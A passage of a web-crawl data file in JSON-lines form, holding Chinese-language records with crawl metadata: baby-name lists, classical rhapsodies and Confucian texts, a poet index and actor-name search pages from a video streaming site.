辛志","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/tuidang.epochtimes.com\/index\/showpost\/id\/22261065","date":"2018-11-19T15:10:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745800.94\/warc\/CC-MAIN-20181119150816-20181119172816-00143.warc.gz","language":"lzh","language_score":0.7256890535,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7256890535354614, \"cmn_Hani_score\": 0.2381497323513031, \"nan_Hani_score\": 0.0185064859688282, \"wuu_Hani_score\": 0.014921377412974834}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.699,"perplexity_score":500.0,"cluster_detection":1} +{"text":"席姓男孩名字大全\n提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n席祥耀 席文君 席翩翩 席龙超 席唯卿 席智涵 席若勋 席国辉 席绍博 席霖枫 席子非 席子元 席进元 席子豪 席丽荣 席子杰 席玫伶 席丽敏 席修平 席灵歌 席岚阳 席若钰 席若瑜 席若阳 席润杰 席润叶 席润晔 席玉虎 席缈 席韵婕 席若鸿 席若虹 席若海 席海诺 席晨龙 席泫犀 席幢弘 席亚囡 席玉林 席槐莲 席槐芫 席槐杞 席槐缘 席馨缘 席允缘 席儿缘 席缘儿 席缘杉 席恒缘 席聚缘 席聚兆 席聚亮 席免印 席栖榕 席军明 席国权 席承安 席跃跃 席荣华 席梦雅 席顺龙 席雨晴 席梦晓 席开娇 席梦娇 席梦圆 席梦欣 席开心 席开欣 席伟芊 席伟郎 席伟朔 席伟秩 席伟钊 席伟倬 席艺涵 席紫涵 席艺雯 席伟健 席艺汶 席伟洲 席伟浈 席伟思 席伟桢 席伟桐 席伟育 席璐 席越洋 席裕身 席立唯 席立 席飞励 席祯 席霆 席通 席梦鸿 席熙繁 席阅 席风南 席枫南 席卫忠 席薇 席卉 席非儿 席念 席虞 席若冰 席楚宸 席楚姬 席继宁 席尚 席上 席如云 席云菲 席千卜 席想 席思雨 席雪菲 席雨菲 席帏凡 席炜凡 席韦凡 席蔚凡 席慕荣 席慕雨 席莫雨 席华淼 席蔚平 席蔚青 席莫琪 席莫棋 席菲雨 席玮凡 席伟凡 席伟帆 席霏雨 席霏凡 席菲凡 席菲帆 席炜帆 席帏帆 席飞雨 席一帆 席佳杨 席乾华 席艺源 席梓严 席庆生 席飞虎 席涵晨 席澜 席澜露 席润来 席伟晗 席李林 席中云 席雨麟 席辰旭 席晨旭 席铁亮 席晓明 席行晗 席行涵 席行函 席雨昕 席高锋 席云涛 席薇薇 席洋抑 席扬抑 席筱 席筱筱 席子柔 席作 席宏荣 席寅嵩 席山骊 席立明 席光汾 席玮雅 席啸然 席苍松 席梓娴 席梓盱 席梓栩 席梓谆 席梓冶 席梓野 席梓海 席子戌 席梓戌 席晨曲 席英皓 席辉明 席小利 席丰展 席裕栋 席龙祥 席义祥 席蜂 席元 席福云 席姝 席嘉琪 席佳琪 席敏洇 席碧鸿 席绘淋 席绘澜 席霄琐 席韵鹤 席碧夏 席红帆 席智圻 席志茚 席志鄞 席志胤 席智胤 席智寅 席智音 席智引 席智荫 席智营 席智鹰 席智影 席野菟 席齐健 席宣 席楚桀 席佩琛 席子午 席文洪 席玫 席小钧 席筱军 席筱君 席颖博 席光宇 席沅冰 席沅妃 席国泉 席庄周 席家政 席佳正 席佳政 席玄华 席子坤 席子岳 席浩雨 席沐雨 席沐桦 席雨桦 席玄桦 席卫嘉 席梓源 席才骊 席才 席晓谦 席若芊 席若谦 席乔 席廉府 席铭 席庥廉 席锦铭 席若菡 席佳蕊 席进勇 席荭夏 席宏侠 席宏夏 席红侠 席弘侠 席弘夏 席鸿侠 席鸿夏 席虹夏 席鸿厦 席雨田 席睿思 席思睿 席睿哲 席雯俐 席灵静 席靓敏 席君 席炀 席沁 席于 席思 席骞 席湃 席亚慧 席亚会","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/zy5000.com\/show_3A43.aspx","date":"2019-03-26T00:34:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912204736.6\/warc\/CC-MAIN-20190325234449-20190326020449-00026.warc.gz","language":"lzh","language_score":0.5851576328,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.5851576328277588, \"nan_Hani_score\": 0.38201090693473816, \"cmn_Hani_score\": 0.014081261120736599}","num_words":296,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.602,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n杜牧 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 刘禹锡 纳兰性德 李商隐 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n阿房宫赋 六王毕,四海一,蜀山兀,阿房出。覆压三百余里,隔离天日。骊山北构而西折,直走咸阳。二川溶溶,流入宫墙。五步一楼,十步一阁;廊腰缦回,檐牙高啄;各抱地势,钩心斗角。盘盘焉,囷囷焉,蜂房水涡,矗不知其几...\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/zzjjt.tw\/index$&poet_id=GePiEjBJiH&poet_idLabel=%E6%9D%9C%E7%89%A7.htm","date":"2020-01-25T06:24:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251669967.70\/warc\/CC-MAIN-20200125041318-20200125070318-00432.warc.gz","language":"lzh","language_score":0.7976751328,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7976751327514648, \"cmn_Hani_score\": 0.14262224733829498, \"nan_Hani_score\": 0.038617800921201706, \"wuu_Hani_score\": 0.0124044269323349}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.27,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.815,"perplexity_score":500.0,"cluster_detection":1} +{"text":"志之未立,矧絕學之無依。」人不能憂余之憂兮,余亦\n不能悲人之悲。聊走筆以自係,走四方而陳詞。庶聖 道之未沫,將援余之孤危。\n《勵志賦》涂幾\n「予幼負此奇志兮,思世俗之所難。薄榮名而不顧兮, 將遺斯世之治安。惟任重而道遠兮,懼吾力之已殫。 雖委絕而猶不悔兮,誓將歷乎險艱。彼小人之無知 兮,方笑予行之迍邅。雖一二之同志兮,亦僅以文學 而相憐。仲尼甘於旅寓兮,聘列國而拳拳。禹暨稷之 辛勤兮,哀夫人之瘠捐。吾誠不及古之人兮,諒天命」 之可懷。負衣冠而不力兮,又何取乎三才?步中正以 為軌兮,服仁義以為輈。審孜孜以無倦兮,俟吾死而 焉求?飢吾飲乎水泉兮,困吾枕乎荊棘。指蒼天以為 正兮,予匪計乎朝夕。\n《述志賦》胡天游\n「翳余生之碌碌兮,承祖考之餘輝。方年髫而志學兮, 思踵武於前徽。何中道之屯蹇兮,終抱志而莫展。」霜 毛颯以垂領兮,懼五十而無聞。挾遺篇以私淑兮,庶 弗墜於斯文。嗟蚩蚩之世俗兮,紛賤目而貴耳。顧區 區之魯人兮,尚弗知乎尼父。青黃眩而莫分兮,美惡 混而相同。計微功於呻誦兮,希速化於顓蒙。朝卑辭 以致幣兮,夕怠色而忘禮。群飛點而玉涴兮,眾口哆 侈而金燬。毛嬙靚立而自揚兮,曾不申乎蹇修。抱雙 璧以行媒兮,反效鞠局而卑是求。謂驊騮為下乘兮, 以款段為疾足。采鳧茨於道周兮,登碔砆於犀櫝。般 紛紛其得志兮,長裾曳地濟濟而相望。俛爭食於雞 鶩兮,仰闊視而揚揚。余方索居孑立而無與儔兮,聊 逍遙乎林下。睇浮雲以舒嘯兮,倚翠竹而為伍。崇繽 紛其枳棘兮,時覽德而踟躕。哂飢鳶之疾盻兮,攫腐 鼠而嚇余。龍門崒嵂以干雲兮,亦何往而不我階。彼 瞡瞡之蛙黽兮,夫豈入於我懷。阿容媚世以希寵靈 兮,誠有識之所嗤。使余為倚市之倡兮,孰與夫空谷 而幽居?撫青萍以自珍兮,曰有待夫知己。倘千金而 非吾徒兮,寧挂壁而無恥。惟聖賢之與愚兮,亦皇皇 而西東。矧吾人之數奇兮,敢背道而慍窮。韙達觀之 無不可兮,付出處於流欻。苟素志靡違兮,又何傷乎 蹙額。正余冠之崔嵬兮,理余瑟之鏗鏘。良時詎不可 再得兮,姑從容而徜徉。\n《感志賦》李好文\n「何天地之寥邈兮,眇予生之有身。」履黃坤之博厚兮, 仰元覆以無垠。爍眾金于大冶兮,偶形留夫粹質。苟 莫邪而弗自砥兮,固鉛敝之所同。服蒙予若之倥侗 兮,承鞠訓于自宮。佩非善而罔繫兮,服非惠而匪躬。 鞶余革之申申兮,鞘余觿之容容。擷秋圃之日精兮, 濯淤漣之荷華。卻穠李而弗御兮,矧蕕臭其焉加?歲 翩翩其不君兮,首元服以及冠。恐罔兩之挾余兮,門 面牆而無見。瑟假道于《書林》兮,求孔氏之高明。遵文 衢之逶迤兮,愈多岐之縱橫。昒𢠳怳而莫適兮,從文 公而徵詞。曰:「爾神潛而志棲兮,終必達大所期。」果服 言以從事兮,嬴十年而戾之。覽天庭以游目兮,又欲 窮夫四遐。觀百氏之原委兮,究異說之貞訛。泝《太初》 之無始兮,循三王之不頗。總條理于一聖兮,固馴致 乎中和。洎余有志于古人兮,懼修名之嚜嚜。忘漆雕 之自信兮,懵學優之有得。謂青雲其可力而致兮,謂 時命之可戈。軷余行之吉日兮,遂觀國乎上京。指閶 闔以徑往兮,奄長風而北征。眩天都之雄麗兮,非下 土之能名。信魚龍之混并兮,亦名利者之為場。余既 初無赫赫兮,又何適乎煌煌?翾捷步之高才兮,豈扶 服之能躅?挈桔槔之頫仰兮,恐祈榮而離辱。夫何眾 之熙熙兮,我獨約兮而為德。資章甫以適越兮,固前 修之所為惑。飧玉羞以燎桂兮,囊日索而焉留?有東 昏之故居兮,盍歸來之為謀。浮輕舟以南下兮,亂海 淀之交流。返敝廬以窮處兮,迄于今一紀其將及。畫 于茅於南畝兮,宵索綯而未息。傷鶺鴿之原居兮,慮 鴟鴞之無室。遠子荊之有美兮,羌終棄乎草澤。余非 昧而至愚兮,誠有徵乎前哲。聞耕穫于道德兮,內懷 寶以自珍。豈畎畝之足樂兮,甘闇漠而無聞。昔樊須 之請稼兮,迺獲誚于聖人。摯冥冥其鴻飛兮,猶釋耒 乎有莘。溺耦沮之不反兮,又奚足與為群?悲此志之 未伸兮,秉經德之不回。心飛揚而披離兮,曷日夜而 疚懷。亂曰:「鹿之期奔兮其足跂跂。河魚衝波兮乃窺 其尾。物終必反兮有張斯弛。往不必求兮來者是竢。」 卑不隨阿兮險不期詭。貞途安行兮不易厥止,優哉 游哉兮于以自矢。\n《謝宋太史書》明·方孝孺\n「數十年來,師弟子道廢,鮮有推所得引人之事。」執事 探索古初,根據仁義,汲汲以誘拔後輩為職,雖樗樸 不才如某者,亦收之于門,而告以斯道。恩義懇篤,撫 勞不倦,待之踰于子姓,而進之以聖賢所務。此今世 之所未聞,而古或有之者也。某辭歸省,又辱教之以 言,引譽過侈,期望深遠。于別來旬月間,延領西眺,戚","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/32","date":"2020-08-13T13:02:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00056.warc.gz","language":"lzh","language_score":0.7945119143,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7945119142532349, \"nan_Hani_score\": 0.08159386366605759, \"cmn_Hani_score\": 0.07083756476640701, \"yue_Hani_score\": 0.012857806868851185}","num_words":81,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.41,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n森美 黃翠如 江嘉敏 張國強 馬海倫 魯振順 盧宛茵 周志康 黃子雄 吳瑞庭 唐嘉麟 吳嘉儀 林韋辰 曾航生 黎彼得 於洋 譚凱琪 郭少芸 蕭徽勇 李綺雯 黃煒溏 雪妮 徐忠信 鄭啓泰 譚偉權 劉芷希 王致迪 鄭詠謙 崔錦棠 陳婉婷 袁鎮業 丁樂鍶 陳泓達 錢悅\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n鄭嘉穎 田蕊妮 吳業坤 譚偉權 賴慰玲\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E8%AD%9A%E5%81%89%E6%AC%8A------------.html","date":"2020-09-27T23:41:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401582033.88\/warc\/CC-MAIN-20200927215009-20200928005009-00306.warc.gz","language":"lzh","language_score":0.5873205662,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.5873205661773682, \"cmn_Hani_score\": 0.30715158581733704, \"nan_Hani_score\": 0.09280867874622345, \"yue_Hani_score\": 0.011764654889702797}","num_words":176,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.65,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n譚俊彥 曹永廉 姚子羚 湯洛雯 陳凱琳 張振朗 胡諾言 傅嘉莉 張秀文 龔嘉欣 楊玉梅 張穎康 曾敏 李嘉 李日升 譚坤倫 呂珊 陳嘉佳 張國強 蔡國慶 馮素波 吳沚默 吳家樂 袁文傑 郭子豪 範文雅 陳自瑤 陳婉婷 李美慧 何佩珉 葉蒨文 楊詩敏 張彥博 梁舜燕 譚凱琪 黃子恆 李成昌 羅天宇 李綺雯 袁鎮業 郭千瑜 謝雪心 余子明 陳嘉輝 羅樂林 文雪兒 何遠東 杜燕歌 歐瑞偉 李岡龍 煒烈 陳狄克 杜大偉 丁樂鍶 莫偉文 魯振順 莫家淦 胡定欣 李天縱 招浩明 黃耀英 程皓 鄭恕峯 蔡國威 何廣沛\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E8%91%89%E8%92%A8%E6%96%87------------.html","date":"2020-09-24T13:38:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400219221.53\/warc\/CC-MAIN-20200924132241-20200924162241-00428.warc.gz","language":"lzh","language_score":0.6463153362,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.646315336227417, \"cmn_Hani_score\": 0.2724074721336365, \"nan_Hani_score\": 0.06909297406673431, \"yue_Hani_score\": 0.011534592136740685}","num_words":163,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.711,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n蕭正楠 姚子羚 黃智賢 洪永城 何廣沛 張兆輝 姜大衛 吳岱融 陳瀅 曾航生 甄詠珊 梁舜燕 張達倫 李璧琦 文雪兒 秦煌 李楓 盧宛茵 馮素波 彭懷安 楊瑞麟 林韋辰 鄧永健 劉思希 李霖恩 古明華 魯振順 邵卓堯 莊思明 何綺雲 尹詩沛 吳沚默 李天縱 譚坤倫 葉蒨文 陳嘉慧 何遠東 張智軒 康華 劉芷希 崔錦棠 莫家淦 何佩珉 易智遠 黃建東 蔡國威 杜大偉 煒烈 秦啓維 鄧以婷 喬寶寶 黃柏文 歐陽偉豪 鄭詠謙 張本立 曾健明\n陳錦鴻 宣萱 王傑 盧海鵬 呂珊 李思捷 唐詩詠 陳思齊 駱應鈞 陳嘉儀 江漢 梁舜燕 李施嬅 羅蘭 鄧健泓 鍾志光 羅君左 沈可欣 李啓傑 趙樂賢 何婷恩 張達倫 袁彩雲 黃紀瑩 孫季卿 凌禮文 遊飆 蘇恩磁 陳山聰 曾守明 曾慧雲 簡慕華 彭皓鋒 廖麗麗 蘇敏聰 鄭世豪 葉凱茵 何俊軒 張漢斌 賀文傑 陳安瑩 李岡龍 溫裕紅 林淑敏 李日升 林遠迎 李霖恩 郭卓樺\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%9D%8E%E9%9C%96%E6%81%A9------------.html","date":"2020-09-24T19:08:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400219691.59\/warc\/CC-MAIN-20200924163714-20200924193714-00750.warc.gz","language":"lzh","language_score":0.681715548,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6817155480384827, \"cmn_Hani_score\": 0.20123600959777832, \"nan_Hani_score\": 0.11055724322795868}","num_words":202,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.722,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n邢艳燕 邢庆丽 邢振丽 邢文秀 邢梦霞 邢韶娟 邢俊颖 邢凌丽 邢睿美 邢悦诚 邢翰瑛 邢正英 邢庭玉 邢廷玉 邢简英 邢建瑛 邢叶丽 邢延茹 邢芷瑶 邢兹冉 邢维萍 邢卫萍 邢禹嫣 邢玉嫣 邢钰嫣 邢丝玉 邢迪嫣 邢涵嫣 邢爱嫣 邢宇嫣 邢虞燕 邢钊文 邢艳娜 邢碧瑶 邢如雪 邢珊雪 邢沁雪 邢建芬 邢嫣渺 邢冬瑶 邢嫣涵 邢紫冉 邢增文 邢贞文 邢梓秀 邢孜悦 邢茹嫣 邢虞嫣 邢与嫣 邢佳红 邢怀花 邢娅南 邢世妍 邢世娜 邢瑰蓉 邢俊莉 邢悦杨 邢旭丽 邢舒瑶 邢瑶璐 邢铎美 邢铎娜 邢铎红 邢铎蓉 邢铎莹 邢铎莉 邢铎丽 邢金文 邢铎怡 邢惠莹 邢珲莹 邢晖莹 邢晦莹 邢慧瑛 邢琳栋 邢宇妍 邢晓文 邢凯丽 邢晓莹 邢立娟 邢邦美 邢喜燕 邢丽倩 邢瀚悦 邢喜梅 邢鸿霞 邢绿琴 邢云洁 邢一冉 邢新丽 邢茹惠 邢厚文 邢琳凡 邢恩冉 邢暮悦 邢暮蓉 邢雨玲 邢惠玲 邢有玲 邢铃玉 邢圣琳 邢琳圣 邢琳娴 邢琳夙 邢丹琳 邢琳丹 邢琳英 邢琳纯 邢琳仪 邢琳艺 邢琳亿 邢琳玉 邢琳苹 邢琳旌 邢琳兰 邢琳莲 邢忆琳 邢琳忆 邢琳婧 邢中玉 邢紫洁 邢蕊燕 邢宫冉 邢国玉 邢祥霞 邢云琳 邢舒琳 邢沐琳 邢郁文 邢修文 邢芳怡 邢思妍 邢纪梅 邢润妍 邢诗妍 邢慧美 邢筠冉 邢诗怡 邢贵雪 邢倩廖 邢倩瞄 邢尔倩 邢可颖 邢悦庆 邢惠文 邢桂媛 邢茜媛 邢毓媛 邢芳萍 邢婷媛 邢倩冰 邢芬萍 邢夏雪 邢唯美 邢为美 邢妍芸 邢蕙颖 邢惠颖 邢靓颖 邢秀颖 邢秀妍 邢秀颖 邢惠艳 邢惠妍 邢慧燕 邢慧艳 邢慧妍 邢秀麟 邢瑶琼 邢瑶琪 邢秀瑶 邢珂瑶 邢珂雪 邢秀秀 邢熙秀 邢喜英 邢淑丽 邢宝花 邢诘冉 邢崇文 邢秀华 邢瑶华 邢延燕 邢林梅 邢梦妍 邢青燕 邢艳文 邢禹艳 邢运丽 邢婉颖 邢变琴 邢利英 邢原文 邢羽洁 邢昕颖 邢昕莹 邢业文 邢爱美 邢艾美 邢晗玉 邢琳雪 邢园婷 邢煜玉 邢芫婷 邢紫英 邢紫瑛 邢睿媛 邢睿洁 邢喜悦 邢婧灵 邢紫婧 邢睿颖 邢琳梓 邢芳琴 邢家婧 邢家秀 邢妍韫 邢娜如 邢雯嫣 邢涵玉 邢琳溪 邢怡婧 邢永雪 邢玲丽 邢夕英 邢恩红 邢怡华 邢怡君 邢秀秀 邢雯娟 邢孔芳 邢罗文 邢亚红 邢雅红 邢礼娜 邢秀芬 邢芷雪 邢轩怡 邢志红 邢苗玉 邢少英 邢敏媛 邢映红 邢金莹 邢德琴 邢家妹 邢嘉莉 邢友梅 邢宛蓉 邢霁雪 邢倩琳 邢艺琳 邢易琳 邢希琳 邢聪琳 邢媛琳 邢怀琳 邢思琳 邢健琳 邢康琳 邢闵琳 邢湘琳 邢李琳 邢德琳 邢怡琳 邢纪琳 邢姬琳 邢季玲 邢贺艳 邢燕慈 邢悦毅 邢正文 邢国美 邢嘉娜 邢露琼 邢燕虹 邢艺萍 邢书丽 邢菡玉 邢雨燕 邢嫣语 邢紫燕 邢子燕 邢雯莉 邢莉雯 邢好丽 邢召花 邢利萍 邢婕霞 邢少文 邢博玲 邢以文 邢欣茹 邢鑫茹 邢新妍 邢燕平 邢旷文 邢诚雪 邢承婷 邢承红","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/bbb681.cn\/show_141.aspx","date":"2020-10-25T05:45:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107887810.47\/warc\/CC-MAIN-20201025041701-20201025071701-00168.warc.gz","language":"lzh","language_score":0.7348054647,"language_script":"Hani","minhash_cluster_size":13,"top_langs":"{\"lzh_Hani_score\": 0.7348054647445679, \"nan_Hani_score\": 0.12424346804618835, \"und_Sgnw_score\": 0.02067657932639122, \"yue_Hani_score\": 0.01951741613447666, \"und_Linb_score\": 0.016421940177679062, \"cmn_Hani_score\": 0.01585877314209938}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.74,"perplexity_score":500.0,"cluster_detection":1} +{"text":"曾 子 参\n群书治要卷三十五\n修 身\n曾子曰。君子攻其恶。求其过。强其所不能。去私欲。从事于义。可谓学矣。君子爱日以学。及时以行。难者弗避。易者弗从。唯义所在。日旦就业。夕而自省思。以没其身。亦可谓守业矣。君子学必由其业。问必以其序。问而不决。承间观色而复之。君子既学之。患其不博也。既博之。患其不习也。既习之。患其不知也。既知之。患其不能行也。既能行之。患其不能以让也。君子之学。致此五者而已矣。君子博学而浅(大戴礼浅作孱)守之。微言而笃行之。行欲先人。言欲后人。见利思辱。见难思诟。嗜欲思耻。忿怒思患。君子终身守此。战战也。君子己善。亦乐人之善也。己能。亦乐人之能也。君子好人之为善而弗趍也。恶人之为不善而弗疾也。不先人以恶。不疑人以不信。不说人之过。而成人之美。朝有过。夕改则与之。夕有过。朝改则与之。君子终日言。不在尤之中。小人一言。终身为罪矣。君子之于不善也。身勿为。可能也。色勿为。不可能也。心勿为。不可能也。太上乐善。其次安之。其下亦能自强也。太上不生恶。其次生而能夙绝之。其下复而能改。复而不改。陨身覆家。大者倾社稷。是故君子出言愕愕。行身战战。亦殆免于罪矣。昔者。天子日旦思其四海之内。战战唯恐不能乂也。诸侯日旦思其四封之内。战战唯恐失损之也。大夫日旦思其官。战战唯恐不能胜也。庶人日旦思其事。战战唯恐刑罚之至也。是故临事而栗者。鲜不济矣。\n立 孝\n曾子曰。君子立孝。其忠之用也。礼之贵也。故为人子而不能孝其父者。不敢言人父不能畜其子者。为人弟而不能承其兄者。不敢言人兄不能顺其弟者。为人臣而不能事其君者。不敢言人君不能使其臣者。故与父言。言畜子。与子言。言孝父。与兄言。言顺弟。与弟言。言承兄。与君言。言使臣。与臣言。言事君。君子之孝也。忠爱以敬(敬上有庄字)反是乱也。尽力而有礼。敬而安之。微谏不倦。听从不怠。欢欣忠信。咎故不生。可谓孝矣。尽力而无礼。则小人也。致敬而不忠。则不入也。是故礼以将其力。敬以入其忠。诗言。夙兴夜寐。毋忝尔所生。不耻其亲。君子之孝也。是故未有君而忠臣可知者。孝子之谓也。未有长而顺下可知者。悌弟之谓也。未有治而能仕可知者。先修之谓也。故孝子善事君。悌弟善事长。君子壹孝壹悌。可谓知终矣。\n制 